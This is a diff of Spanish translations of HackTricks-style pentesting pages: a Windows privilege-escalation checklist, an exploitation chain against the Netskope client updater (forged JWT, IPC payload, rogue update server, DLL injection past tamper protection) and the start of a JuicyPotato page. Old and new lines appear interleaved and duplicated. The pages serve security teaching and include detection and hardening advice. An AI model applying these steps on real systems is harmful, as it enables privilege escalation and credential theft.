- [ ] Comprobar la [**información de red actual**](windows-local-privilege-escalation/index.html#network)
|
||||
- [ ] Comprobar servicios locales ocultos restringidos al exterior
|
||||
- [ ] Comprobar la [**network information**](windows-local-privilege-escalation/index.html#network) **actual**
|
||||
- [ ] Comprobar **servicios locales ocultos** restringidos al exterior
|
||||
|
||||
### [Procesos en ejecución](windows-local-privilege-escalation/index.html#running-processes)
|
||||
### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)
|
||||
|
||||
- [ ] Comprobar permisos de archivos y carpetas de los binarios de procesos [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
|
||||
- [ ] Permisos de archivos y carpetas de los binarios de procesos [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
|
||||
- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
|
||||
- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
|
||||
- [ ] ¿Robar credenciales con **procesos interesantes** vía `ProcDump.exe`? (firefox, chrome, etc ...)
|
||||
- [ ] ¿Robar credenciales con **interesting processes** vía `ProcDump.exe` ? (firefox, chrome, etc ...)
|
||||
|
||||
### [Services](windows-local-privilege-escalation/index.html#services)
|
||||
|
||||
- [ ] ¿Puedes **modificar algún servicio**? (windows-local-privilege-escalation/index.html#permissions)
|
||||
- [ ] ¿Puedes **modificar** el **binario** que es **ejecutado** por algún **servicio**? (windows-local-privilege-escalation/index.html#modify-service-binary-path)
|
||||
- [ ] ¿Puedes **modificar** el **registro** de algún **servicio**? (windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
|
||||
- [ ] ¿Puedes aprovechar alguna ruta de binario de servicio **sin comillas**? (windows-local-privilege-escalation/index.html#unquoted-service-paths)
|
||||
- [ ] ¿Puedes **modify any service**? (windows-local-privilege-escalation/index.html#permissions)
|
||||
- [ ] ¿Puedes **modify** el **binary** que es **ejecutado** por algún **service**? (windows-local-privilege-escalation/index.html#modify-service-binary-path)
|
||||
- [ ] ¿Puedes **modify** el **registry** de algún **service**? (windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
|
||||
- [ ] ¿Puedes aprovechar algún **unquoted service** binary **path**? (windows-local-privilege-escalation/index.html#unquoted-service-paths)
|
||||
|
||||
### [**Applications**](windows-local-privilege-escalation/index.html#applications)
|
||||
|
||||
- [ ] **Permisos de escritura** en las [**aplicaciones instaladas**](windows-local-privilege-escalation/index.html#write-permissions)
|
||||
- [ ] **Write** permisos en [**installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
|
||||
- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup)
|
||||
- [ ] [**Drivers**](windows-local-privilege-escalation/index.html#drivers) **vulnerables**
|
||||
- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers)
|
||||
|
||||
### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
|
||||
|
||||
- [ ] ¿Puedes **escribir en alguna carpeta dentro de PATH**?
|
||||
- [ ] ¿Hay algún binario de servicio conocido que **intente cargar alguna DLL inexistente**?
|
||||
- [ ] ¿Puedes **escribir** en alguna **carpeta de binarios**?
|
||||
- [ ] ¿Puedes **write in any folder inside PATH**?
|
||||
- [ ] ¿Hay algún binario de servicio conocido que **tries to load any non-existant DLL**?
|
||||
- [ ] ¿Puedes **write** en alguna **binaries folder**?
|
||||
|
||||
### [Red](windows-local-privilege-escalation/index.html#network)
|
||||
### [Network](windows-local-privilege-escalation/index.html#network)
|
||||
|
||||
- [ ] Enumerar la red (shares, interfaces, rutas, vecinos, ...)
|
||||
- [ ] Poner especial atención a los servicios de red escuchando en localhost (127.0.0.1)
|
||||
- [ ] Enumerar la red (shares, interfaces, routes, neighbours, ...)
|
||||
- [ ] Fijarse especialmente en servicios de red escuchando en localhost (127.0.0.1)
|
||||
|
||||
### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)
|
||||
|
||||
- [ ] Credenciales de [**Winlogon**](windows-local-privilege-escalation/index.html#winlogon-credentials)
|
||||
- [ ] ¿Credenciales del [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) que podrías usar?
|
||||
- [ ] ¿Credenciales interesantes de [**DPAPI**](windows-local-privilege-escalation/index.html#dpapi)?
|
||||
- [ ] ¿Contraseñas de [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi) guardadas?
|
||||
- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials)credentials
|
||||
- [ ] ¿Hay credenciales en [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) que puedas usar?
|
||||
- [ ] ¿Credenciales interesantes de [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)?
|
||||
- [ ] ¿Contraseñas de redes Wifi guardadas? (windows-local-privilege-escalation/index.html#wifi)
|
||||
- [ ] ¿Información interesante en [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
|
||||
- [ ] ¿Contraseñas en [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)?
|
||||
- [ ] ¿Contraseñas del [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager)?
|
||||
- [ ] ¿[**AppCmd.exe**](windows-local-privilege-escalation/index.html#appcmd-exe) existe? ¿Credenciales?
|
||||
- [ ] ¿Contraseñas en [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager)?
|
||||
- [ ] ¿[**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? ¿Credenciales?
|
||||
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? ¿DLL Side Loading?
|
||||
|
||||
### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
|
||||
|
||||
- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **y** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
|
||||
- [ ] ¿[**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
|
||||
- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
|
||||
- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
|
||||
- [ ] ¿Contraseñas en [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)?
|
||||
- [ ] ¿Alguna copia de seguridad de [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups)?
|
||||
- [ ] ¿[**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)?
|
||||
- [ ] ¿Algún backup de [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups)?
|
||||
- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)?
|
||||
- [ ] ¿Archivo [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml)?
|
||||
- [ ] ¿[**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
|
||||
- [ ] ¿Contraseña en el [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)?
|
||||
- [ ] ¿Información interesante en los [**web logs**](windows-local-privilege-escalation/index.html#logs)?
|
||||
- [ ] ¿Quieres [**pedir credenciales**](windows-local-privilege-escalation/index.html#ask-for-credentials) al usuario?
|
||||
- [ ] ¿Archivos interesantes dentro de la Papelera [**Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
|
||||
- [ ] Otras [**ramas del registro que contienen credenciales**](windows-local-privilege-escalation/index.html#inside-the-registry)?
|
||||
- [ ] ¿Dentro de los [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...)?
|
||||
- [ ] [**Búsqueda genérica de contraseñas**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) en archivos y registro
|
||||
- [ ] [**Herramientas**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) para buscar contraseñas automáticamente
|
||||
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
|
||||
- [ ] ¿Contraseña en [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)?
|
||||
- [ ] ¿Información interesante en [**web** **logs**](windows-local-privilege-escalation/index.html#logs)?
|
||||
- [ ] ¿Quieres [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) al usuario?
|
||||
- [ ] ¿Archivos interesantes dentro de la Papelera de reciclaje? (windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)
|
||||
- [ ] Otras [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)?
|
||||
- [ ] Dentro de [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...)?
|
||||
- [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) en archivos y registry
|
||||
- [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) para buscar automáticamente contraseñas
|
||||
|
||||
### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers)
|
||||
|
||||
- [ ] ¿Tienes acceso a algún handler de un proceso ejecutado por administrador?
|
||||
|
||||
### [Impersonación de cliente de Pipe](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
|
||||
### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
|
||||
|
||||
- [ ] Comprobar si puedes abusarlo
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@ -1,28 +1,28 @@
|
||||
# Abusing Enterprise Auto-Updaters and Privileged IPC (p. ej., Netskope stAgentSvc)
|
||||
# Abuso de actualizadores automáticos empresariales e IPC privilegiado (p. ej., Netskope stAgentSvc)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Esta página generaliza una clase de cadenas de escalada de privilegios locales en Windows encontradas en agentes de endpoint empresariales y updaters que exponen una superficie IPC de baja fricción y un flujo de actualización privilegiado. Un ejemplo representativo es Netskope Client for Windows < R129 (CVE-2025-0309), donde un usuario de bajos privilegios puede forzar el registro en un servidor controlado por el atacante y luego entregar un MSI malicioso que instala el servicio SYSTEM.
|
||||
Esta página generaliza una clase de cadenas de escalada de privilegios local de Windows encontradas en agentes endpoint empresariales y actualizadores que exponen una superficie IPC de baja fricción y un flujo de actualización privilegiado. Un ejemplo representativo es Netskope Client for Windows < R129 (CVE-2025-0309), donde un usuario con pocos privilegios puede forzar la inscripción en un servidor controlado por el atacante y luego entregar un MSI malicioso que el servicio SYSTEM instala.
|
||||
|
||||
Ideas clave que puedes reutilizar contra productos similares:
|
||||
- Abusar del localhost IPC de un servicio privilegiado para forzar el re‑registro o la reconfiguración hacia un servidor controlado por el atacante.
|
||||
- Implementar los endpoints de actualización del proveedor, entregar una Trusted Root CA maliciosa y apuntar el updater a un paquete malicioso “signed”.
|
||||
- Eludir verificaciones de firmante débiles (CN allow‑lists), flags de digest opcionales y propiedades laxas de MSI.
|
||||
- Si el IPC está “encrypted”, derivar la key/IV a partir de identificadores de máquina legibles por todos almacenados en el registry.
|
||||
- Si el servicio restringe los llamantes por image path/process name, inyectar en un proceso en la allow‑list o spawnear uno suspended y bootstrapear tu DLL vía un parche mínimo de thread‑context.
|
||||
- Abusar del IPC localhost de un servicio privilegiado para forzar la reinscripción o la reconfiguración hacia un servidor atacante.
|
||||
- Implementar los endpoints de actualización del proveedor, entregar una Trusted Root CA maliciosa y apuntar el updater a un paquete malicioso “firmado”.
|
||||
- Evadir verificaciones de firmante débiles (CN allow‑lists), flags de digest opcionales y propiedades MSI laxas.
|
||||
- Si el IPC está “cifrado”, derivar la key/IV de identificadores de máquina legibles por el mundo almacenados en el registry.
|
||||
- Si el servicio restringe a los llamantes por image path/process name, inyectar en un proceso allow‑listed o lanzar uno en suspended y bootstrapear tu DLL vía un parche mínimo del thread‑context.
|
||||
|
||||
---
|
||||
## 1) Forcing enrollment to an attacker server via localhost IPC
|
||||
## 1) Forzar la inscripción en un servidor atacante vía IPC localhost
|
||||
|
||||
Muchos agentes incluyen un proceso UI en user‑mode que se comunica con un servicio SYSTEM vía localhost TCP usando JSON.
|
||||
Muchos agentes incluyen un proceso UI en user‑mode que se comunica con un servicio SYSTEM sobre localhost TCP usando JSON.
|
||||
|
||||
Observed in Netskope:
|
||||
- UI: stAgentUI (integridad baja) ↔ Service: stAgentSvc (SYSTEM)
|
||||
- Comando IPC ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
|
||||
Observado en Netskope:
|
||||
- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
|
||||
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
|
||||
|
||||
Flujo de explotación:
|
||||
1) Crea un token de registro JWT cuyas claims controlen el host backend (p. ej., AddonUrl). Usa alg=None para que no se requiera firma.
|
||||
2) Envía el mensaje IPC invocando el comando de provisioning con tu JWT y el nombre del tenant:
|
||||
Flujo del exploit:
|
||||
1) Crear un token JWT de inscripción cuyas claims controlen el host backend (p. ej., AddonUrl). Usar alg=None de modo que no se requiera firma.
|
||||
2) Enviar el mensaje IPC invocando el comando de provisioning con tu JWT y el nombre del tenant:
|
||||
```json
|
||||
{
|
||||
"148": {
|
||||
@ -31,88 +31,88 @@ Flujo de explotación:
|
||||
}
|
||||
}
|
||||
```
|
||||
3) El servicio comienza a contactar tu servidor malicioso para enrollment/config, p. ej.:
|
||||
3) El servicio comienza a realizar peticiones a tu servidor rogue para enrollment/config, p. ej.:
|
||||
- /v1/externalhost?service=enrollment
|
||||
- /config/user/getbrandingbyemail
|
||||
|
||||
Notas:
|
||||
- Si la verificación del llamador se basa en ruta/nombre, origina la solicitud desde un binario del proveedor en la lista permitida (ver §4).
|
||||
- Si la verificación del llamante se basa en ruta/nombre, origina la petición desde un binario de proveedor en la lista de permitidos (ver §4).
|
||||
|
||||
---
|
||||
## 2) Secuestrar el canal de actualizaciones para ejecutar código como SYSTEM
|
||||
## 2) Hijacking el canal de actualización para ejecutar código como SYSTEM
|
||||
|
||||
Una vez que el cliente se comunique con tu servidor, implementa los endpoints esperados y redirígelo a un MSI del atacante. Secuencia típica:
|
||||
Una vez que el cliente se comunica con tu servidor, implementa los endpoints esperados y redirígelo a un MSI del atacante. Secuencia típica:
|
||||
|
||||
1) /v2/config/org/clientconfig → Devuelve una configuración JSON con un intervalo de actualización muy corto, p. ej.:
|
||||
1) /v2/config/org/clientconfig → Devuelve una configuración JSON con un intervalo del actualizador muy corto, p. ej.:
|
||||
```json
|
||||
{
|
||||
"clientUpdate": { "updateIntervalInMin": 1 },
|
||||
"check_msi_digest": false
|
||||
}
|
||||
```
|
||||
2) /config/ca/cert → Devuelve un certificado CA en formato PEM. El servicio lo instala en el Local Machine Trusted Root store.
|
||||
3) /v2/checkupdate → Proporciona metadata que apunta a un MSI malicioso y una versión falsa.
|
||||
2) /config/ca/cert → Devuelve un certificado CA en formato PEM. El servicio lo instala en el almacén Trusted Root del equipo local.
|
||||
3) /v2/checkupdate → Proporciona metadatos que apuntan a un MSI malicioso y a una versión falsa.
|
||||
|
||||
Bypassing common checks seen in the wild:
|
||||
- Signer CN allow‑list: el servicio puede solo comprobar que el Subject CN sea “netSkope Inc” o “Netskope, Inc.”. Tu CA malintencionada puede emitir un leaf con ese CN y firmar el MSI.
|
||||
- CERT_DIGEST property: incluye una propiedad MSI benigna llamada CERT_DIGEST. No hay aplicación en la instalación.
|
||||
- Optional digest enforcement: un flag de config (p. ej., check_msi_digest=false) deshabilita validación criptográfica adicional.
|
||||
- Signer CN allow‑list: el servicio puede comprobar únicamente que el Subject CN sea “netSkope Inc” o “Netskope, Inc.”. Tu CA maliciosa puede emitir un certificado leaf con ese CN y firmar el MSI.
|
||||
- CERT_DIGEST property: incluye una propiedad MSI benigna llamada CERT_DIGEST. No hay aplicación durante la instalación.
|
||||
- Optional digest enforcement: una bandera de configuración (p. ej., check_msi_digest=false) desactiva la validación criptográfica adicional.
|
||||
|
||||
Resultado: el servicio SYSTEM instala tu MSI desde
|
||||
Result: the SYSTEM service installs your MSI from
|
||||
C:\ProgramData\Netskope\stAgent\data\*.msi
|
||||
ejecutando código arbitrario como NT AUTHORITY\SYSTEM.
|
||||
executing arbitrary code as NT AUTHORITY\SYSTEM.
|
||||
|
||||
---
|
||||
## 3) Forging encrypted IPC requests (when present)
|
||||
|
||||
Desde R127, Netskope envolvió el JSON de IPC en un campo encryptData que parece Base64. El reversing mostró AES con key/IV derivados de valores de registro legibles por cualquier usuario:
|
||||
From R127, Netskope wrapped IPC JSON in an encryptData field that looks like Base64. Reversing showed AES with key/IV derived from registry values readable by any user:
|
||||
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
|
||||
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
|
||||
|
||||
Los atacantes pueden reproducir la encriptación y enviar comandos encriptados válidos desde un usuario estándar. Consejo general: si un agent de repente “encripta” su IPC, busca device IDs, product GUIDs, install IDs bajo HKLM como material.
|
||||
Attackers can reproduce encryption and send valid encrypted commands from a standard user. General tip: if an agent suddenly “encrypts” its IPC, look for device IDs, product GUIDs, install IDs under HKLM as material.
|
||||
|
||||
---
|
||||
## 4) Bypassing IPC caller allow‑lists (path/name checks)
|
||||
|
||||
Algunos servicios intentan autenticar al peer resolviendo el PID de la conexión TCP y comparando la ruta/nombre de la imagen contra binarios allow‑listed del vendor ubicados bajo Program Files (p. ej., stagentui.exe, bwansvc.exe, epdlp.exe).
|
||||
Some services try to authenticate the peer by resolving the TCP connection’s PID and comparing the image path/name against allow‑listed vendor binaries located under Program Files (e.g., stagentui.exe, bwansvc.exe, epdlp.exe).
|
||||
|
||||
Dos bypass prácticos:
|
||||
- DLL injection en un proceso allow‑listed (p. ej., nsdiag.exe) y proxear IPC desde dentro de él.
|
||||
- Spawn de un binario allow‑listed en estado suspended y bootstrap de tu proxy DLL sin CreateRemoteThread (ver §5) para satisfacer reglas de tamper impuestas por drivers.
|
||||
Two practical bypasses:
|
||||
- DLL injection into an allow‑listed process (e.g., nsdiag.exe) and proxy IPC from inside it.
|
||||
- Spawn an allow‑listed binary suspended and bootstrap your proxy DLL without CreateRemoteThread (see §5) to satisfy driver‑enforced tamper rules.
|
||||
|
||||
---
|
||||
## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch
|
||||
|
||||
Los productos suelen incluir un driver con minifilter/OB callbacks (p. ej., Stadrv) para eliminar derechos peligrosos de handles a procesos protegidos:
|
||||
- Process: remueve PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
|
||||
- Thread: restringe a THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
|
||||
Products often ship a minifilter/OB callbacks driver (e.g., Stadrv) to strip dangerous rights from handles to protected processes:
|
||||
- Process: removes PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
|
||||
- Thread: restricts to THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
|
||||
|
||||
Un loader user‑mode fiable que respeta estas restricciones:
|
||||
1) CreateProcess de un binario del vendor con CREATE_SUSPENDED.
|
||||
2) Obtener handles que aún puedes: PROCESS_VM_WRITE | PROCESS_VM_OPERATION en el proceso, y un thread handle con THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (o solo THREAD_RESUME si parcheas código en un RIP conocido).
|
||||
3) Sobrescribir ntdll!NtContinue (u otro thunk temprano garantizado mapeado) con un stub mínimo que llame a LoadLibraryW sobre la ruta de tu DLL, y luego salte de vuelta.
|
||||
4) ResumeThread para disparar tu stub in‑process, cargando tu DLL.
|
||||
A reliable user‑mode loader that respects these constraints:
|
||||
1) CreateProcess of a vendor binary with CREATE_SUSPENDED.
|
||||
2) Obtain handles you’re still allowed to: PROCESS_VM_WRITE | PROCESS_VM_OPERATION on the process, and a thread handle with THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (or just THREAD_RESUME if you patch code at a known RIP).
|
||||
3) Overwrite ntdll!NtContinue (or other early, guaranteed‑mapped thunk) with a tiny stub that calls LoadLibraryW on your DLL path, then jumps back.
|
||||
4) ResumeThread to trigger your stub in‑process, loading your DLL.
|
||||
|
||||
Porque nunca usaste PROCESS_CREATE_THREAD o PROCESS_SUSPEND_RESUME sobre un proceso ya protegido (tú lo creaste), la política del driver queda satisfecha.
|
||||
Because you never used PROCESS_CREATE_THREAD or PROCESS_SUSPEND_RESUME on an already‑protected process (you created it), the driver’s policy is satisfied.
|
||||
|
||||
---
|
||||
## 6) Practical tooling
|
||||
- NachoVPN (Netskope plugin) automatiza una rogue CA, firma de MSI malicioso, y sirve los endpoints necesarios: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
|
||||
- UpSkope es un IPC client custom que crea mensajes IPC arbitrarios (opcionalmente AES‑encriptados) e incluye la inyección por proceso suspendido para originar desde un binario allow‑listed.
|
||||
- NachoVPN (Netskope plugin) automatiza una CA maliciosa, la firma de MSI maliciosos, y sirve los endpoints necesarios: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
|
||||
- UpSkope es un cliente IPC personalizado que construye mensajes IPC arbitrarios (opcionalmente AES‑cifrados) e incluye la inyección en proceso suspendido para originar desde un binario en la lista blanca.
|
||||
|
||||
---
|
||||
## 7) Detection opportunities (blue team)
|
||||
- Monitoriza adiciones al Local Machine Trusted Root. Sysmon + registry‑mod eventing (ver SpecterOps guidance) funciona bien.
|
||||
- Marca ejecuciones de MSI iniciadas por el servicio del agent desde rutas como C:\ProgramData\<vendor>\<agent>\data\*.msi.
|
||||
- Revisa logs del agent por hosts/tenants de enrolamiento inesperados, p. ej.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – busca addonUrl / tenant anomalies y provisioning msg 148.
|
||||
- Alerta sobre clientes IPC localhost que no sean los binarios firmados esperados, o que se originen desde árboles de procesos inusuales.
|
||||
- Monitor additions to Local Machine Trusted Root. Sysmon + registry‑mod eventing (see SpecterOps guidance) works well.
|
||||
- Flag MSI executions initiated by the agent’s service from paths like C:\ProgramData\<vendor>\<agent>\data\*.msi.
|
||||
- Review agent logs for unexpected enrollment hosts/tenants, e.g.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – look for addonUrl / tenant anomalies and provisioning msg 148.
|
||||
- Alert on localhost IPC clients that are not the expected signed binaries, or that originate from unusual child process trees.
|
||||
|
||||
---
|
||||
## Hardening tips for vendors
|
||||
- Ata los hosts de enrolamiento/update a una allow‑list estricta; rechaza dominios no confiables en clientcode.
|
||||
- Autentica peers de IPC con primitivas del OS (ALPC security, named‑pipe SIDs) en lugar de checks por ruta/nombre de imagen.
|
||||
- Mantén material secreto fuera de HKLM legible por el mundo; si IPC debe estar encriptado, deriva keys de secretos protegidos o negocia sobre canales autenticados.
|
||||
- Trata el updater como una superficie de supply‑chain: requiere una cadena completa hacia una CA de confianza que controles, verifica firmas de paquetes contra keys pinned, y falla cerrado si la validación está deshabilitada en la config.
|
||||
- Bind enrollment/update hosts to a strict allow‑list; reject untrusted domains in clientcode.
|
||||
- Authenticate IPC peers with OS primitives (ALPC security, named‑pipe SIDs) instead of image path/name checks.
|
||||
- Keep secret material out of world‑readable HKLM; if IPC must be encrypted, derive keys from protected secrets or negotiate over authenticated channels.
|
||||
- Treat the updater as a supply‑chain surface: require a full chain to a trusted CA you control, verify package signatures against pinned keys, and fail closed if validation is disabled in config.
|
||||
|
||||
## References
|
||||
- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING] > JuicyPotato es legacy. Generalmente funciona en versiones de Windows hasta Windows 10 1803 / Windows Server 2016. Los cambios de Microsoft introducidos a partir de Windows 10 1809 / Server 2019 rompieron la técnica original. Para esas builds y posteriores, considera alternativas modernas como PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato y otras. Consulta la página abajo para opciones y uso actualizados.
|
||||
> [!WARNING] > JuicyPotato es legacy. Generalmente funciona en versiones de Windows hasta Windows 10 1803 / Windows Server 2016. Los cambios que Microsoft introdujo a partir de Windows 10 1809 / Server 2019 rompieron la técnica original. Para esas versiones y posteriores, considera alternativas modernas como PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato y otras. Consulta la página más abajo para opciones y uso actualizados.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -11,49 +11,49 @@ roguepotato-and-printspoofer.md
|
||||
|
||||
## Juicy Potato (abusando de los privilegios dorados) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
||||
|
||||
_Una versión azucarada de_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, con un poco de jugo, es decir **otra herramienta de Local Privilege Escalation, desde Windows Service Accounts hasta NT AUTHORITY\SYSTEM**_
|
||||
_Una versión azucarada de_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, con un poco de jugo, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_
|
||||
|
||||
#### Puedes descargar juicypotato desde [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
|
||||
#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
|
||||
|
||||
### Notas rápidas de compatibilidad
|
||||
|
||||
- Funciona de forma fiable hasta Windows 10 1803 y Windows Server 2016 cuando el contexto actual tiene SeImpersonatePrivilege o SeAssignPrimaryTokenPrivilege.
|
||||
- Roto por el hardening de Microsoft en Windows 10 1809 / Windows Server 2019 y posteriores. Prefiere las alternativas enlazadas arriba para esas builds.
|
||||
- Interrumpido por el endurecimiento de Microsoft en Windows 10 1809 / Windows Server 2019 y posteriores. Prefiere las alternativas enlazadas arriba para esas builds.
|
||||
|
||||
### Resumen <a href="#summary" id="summary"></a>
|
||||
|
||||
[**Del Readme de juicy-potato**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
|
||||
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
|
||||
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) y sus [variants](https://github.com/decoder-it/lonelypotato) aprovechan la cadena de escalada de privilegios basada en el servicio [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) que tiene el listener MiTM en `127.0.0.1:6666` y cuando posees los privilegios `SeImpersonate` o `SeAssignPrimaryToken`. Durante una revisión de builds de Windows encontramos una configuración donde `BITS` estaba intencionalmente deshabilitado y el puerto `6666` ocupado.
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken.
|
||||
|
||||
Decidimos weaponizar [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Saluda a Juicy Potato**.
|
||||
Decidimos weaponize [RottenPotatoNG]: **Say hello to Juicy Potato**.
|
||||
|
||||
> Para la teoría, consulta [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) y sigue la cadena de enlaces y referencias.
|
||||
> For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references.
|
||||
|
||||
Descubrimos que, además de `BITS`, hay varios servidores COM que podemos abusar. Solo necesitan:
|
||||
Descubrimos que, además de `BITS`, hay varios COM servers que podemos abusar. Solo necesitan:
|
||||
|
||||
1. ser instanciables por el usuario actual, normalmente un “service user” que tiene privilegios de impersonación
|
||||
1. ser instanciables por el usuario actual, normalmente un “service user” que tiene privilegios de impersonation
|
||||
2. implementar la interfaz `IMarshal`
|
||||
3. ejecutarse como un usuario elevado (SYSTEM, Administrator, …)
|
||||
|
||||
Tras algunas pruebas obtuvimos y testeamos una lista extensa de [CLSID’s interesantes](http://ohpe.it/juicy-potato/CLSID/) en varias versiones de Windows.
|
||||
